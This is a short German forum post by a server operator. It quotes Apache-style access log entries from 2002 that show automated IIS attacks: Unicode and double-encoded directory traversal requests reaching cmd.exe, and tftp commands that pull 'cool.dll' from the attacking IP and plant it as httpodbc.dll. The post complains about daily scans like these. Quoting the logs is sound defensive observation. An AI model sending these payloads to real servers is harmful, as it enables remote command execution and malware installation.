Nur um zu verdeutlichen wieso und warum ich das machen wollte (sorry für die Breite):
Code:
62.47.8.115 - - [07/Nov/2002:12:56:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../httpodbc.dll HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:49 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:51 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"
62.47.8.115 - - [07/Nov/2002:12:56:51 +0100] "GET /scripts/..%c1%1c../httpodbc.dll HTTP/1.0" 200 125 "-" "-"
Davon hab ich zig Einträge täglich in meinen Logs.
Dabei ist mir aufgefallen, dass diese Affen gar nicht den Header beachten...
Sonst müssten die ja schnell checken, dass das nichts bringt...
~